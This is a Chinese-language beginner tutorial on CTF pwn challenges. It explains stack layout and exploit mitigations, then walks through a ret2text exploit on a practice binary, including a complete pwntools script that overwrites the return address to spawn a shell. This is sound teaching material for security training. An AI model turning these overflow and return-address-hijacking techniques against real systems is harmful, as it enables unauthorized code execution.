兄弟们,如果你是刚摸到CTF(Capture The Flag)的门,大概率会听到一个劝退率极高的词汇:PWN。这玩意儿听起来玄乎,说白了就是——给你一个二进制程序,让你找到它的漏洞,写一段攻击代码(Exploit),最终在靶机上拿到flag(一串证明你攻破程序的字符串)。业内有个笑话,PWN的尽头是“坐牢模拟器”,但恰恰是这种和计算机底层原理短兵相接的感觉,让它成了CTF里含金量最高、也最好玩的方向。
一篇绝对不够,我打算出一个系列,第一篇先解决“拿到题之后完全不知道从哪儿下手”的问题。这篇不堆砌高深理论,我直接把日常做题的那套流程、看题时的第一个念头、最常踩的坑,全部摊开来聊。目标是让你看完之后,拿着一道入门的栈溢出题,能自己完整跑通一遍,不光知道怎么打通,还得知道为什么这么打。这篇主要讲栈溢出,堆利用之类的后续再开篇。
1. 拿到一道PWN题,先别急着写脚本
很多新手最常见的状态是:费劲巴拉把题目附件下载下来,解压,看到一个文件,然后用记事本打开,发现是乱码,瞬间就懵了。别慌,PWN题拿到手,那个文件几乎永远是ELF格式的二进制文件,Windows下记事本当然打不开。你要做的第一件事,是先弄清楚这个文件是什么、开了什么保护,再谈其他的。
1.1 用file和checksec,三秒钟看清目标
这两个命令是我每道题的起手式。先看文件类型:
file pwn1输出一般长这样:
pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped这一条信息量巨大:
ELF 32-bit:说明是32位程序,这意味着后续构造ROP链时参数要放在栈上,而不是寄存器里(64位程序前6个参数走寄存器)。not stripped:说明符号表还在,可以直接看到main、system这些函数名,没有符号表也没关系,但有了它会省事很多。dynamically linked:说明程序用了动态链接,GOT表这玩意儿必然存在,后面能做GOT劫持、ret2libc之类的操作。
接着用checksec查防护,这是pwntools自带的小工具,直接在命令行敲:
checksec pwn1或者你在Python脚本里调用也行,输出大致如下:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这里每一项都直接决定了你的攻击路线。我后面会专门用一节来讲每个防护是干嘛的,但你现在只需要记住一个最简单的判断逻辑:No canary意味着栈上随便覆盖,No PIE意味着地址固定不用泄露。这两条占了,基本上就是一道送分题。
1.2 IDA Pro:把程序翻个底朝天
看完防护,接下来就是用反编译器看代码。CTF圈正版IDA当然好,但现在新手更常接触的是Ghidra、IDA Free、或者国产的RetDec。我自己用得最多的还是IDA,逆向分析的效率和交互体验确实舒服。打开程序后,快速定位到main函数,按一下F5,你就能看到伪代码。
这个时候,新手又容易犯一个错误:一头扎进去逐行读代码。没必要。一道PWN题的核心就一句话——找到输入点,看数据流向哪里,以及有没有危险函数。
我一般会在代码里搜索这几类函数:
- 输入类:
gets、scanf、read、fgets、strcpy、sprintf、sscanf - 执行类:
system、execve、strlen(长度计算逻辑漏洞)
只要看到gets,这题大概率就是栈溢出没跑了。看到printf(buf)这种格式串直接当参数传的,大概率是格式化字符串漏洞。看到malloc、free频率高的,那就是堆题。这个判断流程,基本上三分钟内能定下来。
2. 栈溢出原理:为什么覆盖一个地址就能为所欲为
咱们先别急着打题,我把栈溢出最核心的原理掰开揉碎了讲清楚。很多新手卡壳,不是因为不会用脚本,而是因为压根没搞懂“为什么随便塞一堆字符就能让程序跑飞”。
2.1 函数调用时的栈布局,就像吃完饭要找回出发的路
栈在程序运行里就是一块按“后进先出”管理的内存,每次函数调用,系统都会把返回地址(也就是函数执行完后该回到哪里继续跑的指令地址)压入栈顶。这就像你出门吃饭,出发前会在门口贴一张便利贴写下“家在XX路XX号”,吃完饭后按着便利贴回家。
当程序执行到一个函数时,栈上是这个布局(32位程序为例):
高地址 +----------------------+ | 函数参数 | +----------------------+ | 返回地址 (RET) | <- 函数执行完回到这里 +----------------------+ | 保存的EBP (SFP) | <- 旧栈底指针 +----------------------+ | 局部变量区域 | <- 这里往往是缓冲区 +----------------------+ 低地址也就是说,局部变量存储在栈的低地址处,而返回地址在高地址处。问题来了:像gets这种函数,它不管你要它读多少字节,你给多少它读多少,一路从低地址往高地址写。只要输入足够长,缓冲区不够放,后面的内容就会一路覆盖掉保存的EBP,再覆盖掉返回地址。
2.2 控制EIP,你就控制了整个世界
CPU执行指令靠什么?靠EIP/RIP指针,它指向哪条指令,CPU就执行哪条指令。正常情况下,这个指针是你写代码时编译器安排好的。但栈溢出给了我们机会:我们把返回地址覆盖成自己构造的值,当函数执行到ret指令时,CPU会把栈顶弹出的值装进EIP,然后接着执行。
这意味着什么?意味着你可以让程序跳过某些函数、直接跳到某个你想执行的内存地址去执行。最常见的利用方式,就是覆盖返回地址为system("/bin/sh")的地址,这样程序在返回时直接弹给你一个shell。
这里插一句经验之谈:新手初学PWN时一定要亲手用GDB看一次溢出前后的栈变化,不要只看理论。你在一个缓冲区里输入“AAAA...”,到崩溃那一刻用x/20wx $esp去看栈,你会发现返回地址真真切切变成了0x41414141,那个“A”对应的ASCII码。这一刻,你就真的理解栈溢出了。
3. 保护机制,决定你用什么姿势拿shell
拿到题后checksec列出来那几个英文单词,会让很多人发怵。我挨个说,你会发现它们没那么可怕,而且它们本质上是在逼你换一种攻击姿势。
3.1 NX:栈不可执行,shellcode打不了了
NX(No-eXecute)开启时,栈上内容只有读写权限,没有执行权限。早年攻击手法简单粗暴:把shellcode塞进缓冲区,然后让EIP跳到缓冲区开头就能执行。NX一开,这种方法直接失效,你再怎么跳,CPU只会告诉你“Segmentation Fault”。
那怎么办?答案是ROP(Return-Oriented Programming)。既然栈不可执行,那就找程序已经加载的代码段里的现成指令片段,通常是一段以ret结尾的小指令(gadget),把它们拼成一个链,一步步地完成调用。比如先用一个gadget把/bin/sh字符串地址塞进某个寄存器或栈顶,再调用system函数。这个过程就是rop。
3.2 Canary:栈里头埋了个“哨兵”,动态检测你有没有越界
Canary的机制很像银行金库门口的守卫。函数开头会往栈上(缓冲区和返回地址之间)放一个随机的随机数,函数返回前检查这个值是否被篡改。如果我们暴力覆盖返回地址,这个值通常会先被改掉,程序立刻检测到异常并终止。这道防线让攻击者没法直接堆栈了。
绕过思路通常有三种。第一种是信息泄露:程序如果有输出功能,比如printf(buf)这类格式化字符串漏洞,可以先想办法把canary打印出来,然后再在构造payload时原样写回。第二种是爆破:32位canary一般是4字节,其中最后一个字节是0x00,实际爆破量有限,某些场景下可以暴力打穿。第三种是覆盖其他可写目标:既然canary拦在返回地址前,那就绕开它,去改栈上的变量、函数指针或者GOT表,走逻辑劫持的路线。具体的canary绕过,我会在系列后面的文章里详细拆,这里先知道有这回事。
3.3 PIE:整个程序地址随机化,你不能再用固定的返回地址
PIE(Position Independent Executable)开启时,程序每次运行加载基址都不同,代码段、数据段的地址全部随机化。之前你说的system地址是固定的0x8048416,这一开PIE,运行三次就有三个不同地址,你没法直接写死。
最常见的绕过方法是泄露一个已加载的地址(比如某个函数在GOT中的地址),然后用这个值和本地的基址偏移做差,推出这次程序加载的实际基址,再算出目标函数的真实地址。这又是老话重提:拿到题先看保护,有PIE意味着你必须想办法先打印一个地址出来。
3.4 RELRO:保护GOT表不被改写
GOT表是程序用来查找动态链接函数地址的一个跳板。很多高级攻击玩法,比如劫持GOT表让printf变成system,就得靠往GOT表里写东西。RELRO开得越狠,GOT表越只读。Partial RELRO说明GOT表部分可写,Full RELRO就是GOT表彻底只读。CTF入门题大多是Partial,给了我们很多操作空间。
我把防护和应对策略整理成一个表,方便你做题时对照:
| 防护机制 | 状态 | 攻击难点 | 常用绕过思路 |
|---|---|---|---|
| NX | Enabled | 栈上代码不可执行 | ROP、return-to-libc |
| Stack Canary | Found | 破坏栈会触发终止 | 泄露canary、覆盖函数指针 |
| PIE | Enabled | 代码段地址随机化 | 泄露地址算出基址 |
| RELRO | Full | GOT表只读 | 覆盖返回地址或劫持钩子 |
这四项就是PWN题最常见的大门锁。你把它们想成一道道安检,每多一道,攻击路径就绕远一点。但从另一个角度看,这四种防护并不知道你接下来要干什么,它们只是静态地检查某些条件,所以没有绝对安全的程序,只有写得不安全的代码。
4. 完整实战:一道经典的ret2text题目拆解
前面把原理讲得差不多了,我给出一道非常经典的入门题,手把手带大家完整打一遍。这道题在各大CTF入门教程里都能看到类似原型:32位程序,开了NX,没开PIE,没canary,程序自带一个后门函数。咱们的任务:利用栈溢出,劫持程序执行流,跳到后门函数拿shell。
4.1 拿到题目后的第一轮信息收集
假设题目给了我们一个名叫vuln的文件。按老规矩,先跑两条命令:
checksec vuln输出:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)完美——没canary,没PIE,NX开了但无所谓,因为我们要跳的是程序自己的代码段。再用IDA打开,看main函数的伪代码:
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[64]; setvbuf(stdout, 0, 2, 0); puts("Welcome to the vuln program!"); gets(buf); return 0; }函数逻辑一目了然:定义一个64字节的缓冲区,然后调gets(buf)。gets不检查长度,这题漏洞点确认。继续在左侧函数窗口里找找,看有没有什么可疑函数。果然,看到一个叫win的函数:
void win() { system("/bin/sh"); }完美,这题不用我们搞什么ROP链,不用leak libc,只要让程序返回到win函数就行。这类题的思路在圈里叫ret2text——直接跳回程序自己的后门函数。
4.2 计算偏移量:到底覆盖多少字节才能命中返回地址
关键一步来了:缓冲区是64字节,但这不意味着写64个字节就能覆盖返回地址。你要知道从缓冲区起始位置到返回地址之间隔了多少字节。在32位程序里,栈布局是:[局部变量(64字节)][保存的EBP(4字节)][返回地址(4字节)]。所以64字节填满缓冲区,再写4字节覆盖掉旧EBP,再从第69个字节开始写返回地址。
刚才那个是用理论推的,但每道题的编译器优化各不相同,缓冲区后面也许还有别的局部变量夹在中间,所以不要只用手算。我推荐用pwntools的cyclic功能来精确测偏移:
from pwn import * io = process('./vuln') payload = cyclic(200) io.sendline(payload) io.wait()程序崩溃后,用GDB看崩溃点,或者直接看core dump报错:
EIP: 0x62616164 ('daab')然后通过cyclic_find反推出偏移:
cyclic_find(0x62616164)输出通常是76,也就是从缓冲区开始到返回地址,隔了76字节。这个流程说起来快,但我得提醒你们一件我早期踩过的坑:不要依赖题目给的“64字节缓冲区”这种描述去手算偏移,尤其是64位程序和开了优化的编译环境,栈帧和你想的往往不一样。ctu这个坑我摔了不知道多少次,后来学乖了,一律用cyclic,又快又准。
4.3 构造payload,编写第一个完整的exp
偏移量知道了,win函数的地址我再用nm命令确认一下:
nm vuln | grep win输出:
08048456 T win地址是0x08048456。32位程序地址固定,把返回地址覆盖成这个值就行。注意payload末尾要把地址以32位小端序写入。我直接贴完整的脚本:
from pwn import * # 设置目标 binary = './vuln' elf = ELF(binary) # 如果是远程就打远程,本地就用进程 # io = remote('127.0.0.1', 10001) io = process(binary) # 后门函数地址 win_addr = elf.symbols['win'] # win_addr = 0x08048456 # 也可以直接写死 # 构造payload: 76字节填充 + 4字节返回地址 payload = b'A' * 76 payload += p32(win_addr) # 发送并交互 io.sendline(payload) io.interactive()简单拆解一下这个脚本:
ELF(binary)加载ELF文件,方便读符号地址、GOT表之类的信息。p32(win_addr),这个函数会把整数地址转换成4字节的小端序字节串。因为CPU是小端模式,地址0x08048456在内存里实际存成\x56\x84\x04\x08。很多新手直接发08048456字符串,当然打不通,因为那不是字节数据。io.interactive(),拿到shell之后就把双方的输入输出接起来,让你像在真实终端里一样操作。
4.4 本地打通,但别高兴太早
运行脚本,你会看到:
$光标停在那里,说明shell已经弹出来了。输入ls、cat flag.txt——flag到手。
不过我要泼一盆冷水:本地打通只是第一步。同样的payload打到远程靶机上,能不能通,取决于好几件事。远程环境用的libc版本和你本地一样吗?程序启动时有没有别的初始化脚本?如果题目有TCP连接,你和程序交互的时机是否要匹配菜单流程?
这些变量是PWN题真正变难的地方。我见过太多新手在本地把exp跑得飞起,一上远程就光速红温,然后怀疑人生。别急,后面我会专门写如何应对远程环境差异,最常用的就是泄露libc地址然后从libc-database查版本,属于某些题型的基本操作。这篇先把栈溢出的基本功打牢。
5. 调试工具:没有GDB的PWN,等于盲打
有人会问,为什么我写exp总是出问题?为什么明明感觉思路对了,就是打不通?答案往往是一行:你没有真正看到程序崩溃时的现场。CVE漏洞挖掘、CTF解题、逆向分析,这三件事有一个共同的基石——调试器。在PWN里,GDB就是你的眼睛。
5.1 用pwndbg让调试体验上一个台阶
原始的GDB界面惨不忍睹,新手用它跟不上节奏。我强烈推荐装pwndbg或者gef,这两个都是GDB的增强插件,会自动帮你标出栈上的内容、寄存器的高亮、并显示反汇编代码。装上之后,调试级别直接从“瞎猜”变成“上帝视角”。
安装pwndbg也很简单:
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh装好后,在GDB里载入程序并设置断点,比如在gets函数返回后下个断点,然后运行并输入payload。看一眼pwndbg自动打印的栈布局,你会清楚地看到返回地址已经被覆盖成了什么值。这是排查问题是最高效的手段。
5.2 本地能通远程打不通,先查这三处
我归纳一下最常见的远程失败原因,按概率排序:
- libc版本不一致:如果利用依赖了
system、binsh这些libc里的地址,本地能打不代表远程能打。解决办法是通过程序输出leak一个地址,再对比libc数据库确定远程libc版本。 - 攻击脚本太快:远程环境有网络延迟,极少数程序在接收数据前需要你等一下菜单打印完整。有时候程序先打印一段话,你的脚本却直接发了payload,导致数据滞留在内核缓冲区里,会被程序当作无效输入。
- 栈对齐问题,尤其是64位程序:用
system调用时,如果栈没有16字节对齐,调用会直接段错误。这种问题在本地有时也会发生,通常模式是GDB里打得好好的,直接运行就崩。为什么会这样?因为GDB的环境变量、启动参数会稍微改变栈布局。以后你看到“GDB能通,直接跑不通”时,先往栈对齐这个方向想。
调试这一块没有什么捷径,就是要多调、多试。老话讲“用功在平时”,PWN题打得多了,各种段错误的原因你基本瞄一眼就会猜个八九不离十。
6. 拓展一步:64位程序有什么不一样
很多入门的题目是32位,但真实比赛现在越来越多的PWN题是64位。如果你只会在32位下打栈溢出,那遇到64位肯定卡壳。这里我把关键差异讲清楚。
64位程序(x86-64)的寄存器容量更大,且多了一堆通用寄存器。函数参数传递规则变了:前6个整数或指针参数依次放到rdi、rsi、rdx、rcx、r8、r9,第7个及以后的参数才放栈上。这个差异直接影响你构造ROP链的方式。
举个例子,如果你想调用system("/bin/sh"),32位程序你只要保证栈顶是/bin/sh的地址就行,而64位程序你得先找一条pop rdi; ret的gadget,把/bin/sh字符串地址弹进rdi寄存器,然后才调用system。
64位的另一个坑就是栈对齐。System V ABI规定,在执行call指令之前,栈顶指针rsp必须16字节对齐。否则某些使用SSE指令的函数在调用时会崩溃。我在一次做题时,本地GDB怎么跑都通,但脚本直接跑就必然段错误,查了半小时发现就是ret跳转时栈没对齐,多冗余一个retgadget就好了。这类问题在64位动态链接程序里极其常见,大家一定记住。
6.1 快速体验:ret2libc的完整链路
本篇主要讲栈溢出的基本功,但如果只提一种利用思路的延伸,那一定是ret2libc。很多PWN题里除了漏洞点外找不到现成的后门函数,那就要考虑从libc库里调用system,前提是你得先拿到libc的基址。
流程大致这样:
- 程序存在格式化字符串或某种输出功能,先把某个已加载函数的真实地址打印出来,比如
puts的GOT地址。 - 用本地libc文件(题目通常会给libc.so.6,不给就用泄露的地址去匹配库),计算目标函数和libc基址的偏移。
- 再次利用漏洞,构造ROP链调用
system("/bin/sh"),把返回地址覆盖成libc基址+偏移得到的真实地址。
这套流程里你还会用到one_gadget、ROPgadget之类的工具,以后写进阶篇再展开。
7. 给新手的几条实在建议
写到这里,该聊点“人话”了。我见过太多人上来就刷PWN题,做不出来就自闭,然后弃坑。其实PWN的入门曲线虽然陡,但它是完全可以通过正确的练习方式被踏平的。
- 先认认真真掌握C语言和汇编基础。你连函数调用栈、指针、数组越界都没感觉,PWN对你就是看天书。我建议至少先能把C语言里数组越界的后果说清楚,再碰PWN。
- 不一定要一上来就硬啃CTF真题,先做专门针对入门的练习平台,比如CTF-wiki上的入门题、NJUPT的OJ、Pwnable.tw的前几关。这些题目设计得循序渐进,很多还有题解。
- 写exp时习惯性地用pwntools框架,它已经成为事实上的标准。我带的学弟学妹里,有的人手撸socket去交互,最后不仅慢还容易出错。pwntools帮你把收发数据、格式化地址、处理交互全部封装好了。
- 遇到没思路的题,别死磕超过三小时。我给自己定的规矩是:卡住就去看别人的wp,看懂思路后自己不看题解重新打一遍。复现的过程中你会发现自己遗漏了不少细节,这个“复现“恰恰是长进最快的时候。
PWN这条路上,最宝贵的不是那些花哨的技巧,而是你面对一个问题时逐步拆解、定位、验证的耐心。下一篇我打算写格式化字符串漏洞,这是和栈溢出同等基础又经常被低估的漏洞类型,它在泄露地址这方面几乎是万能钥匙。到时候再会。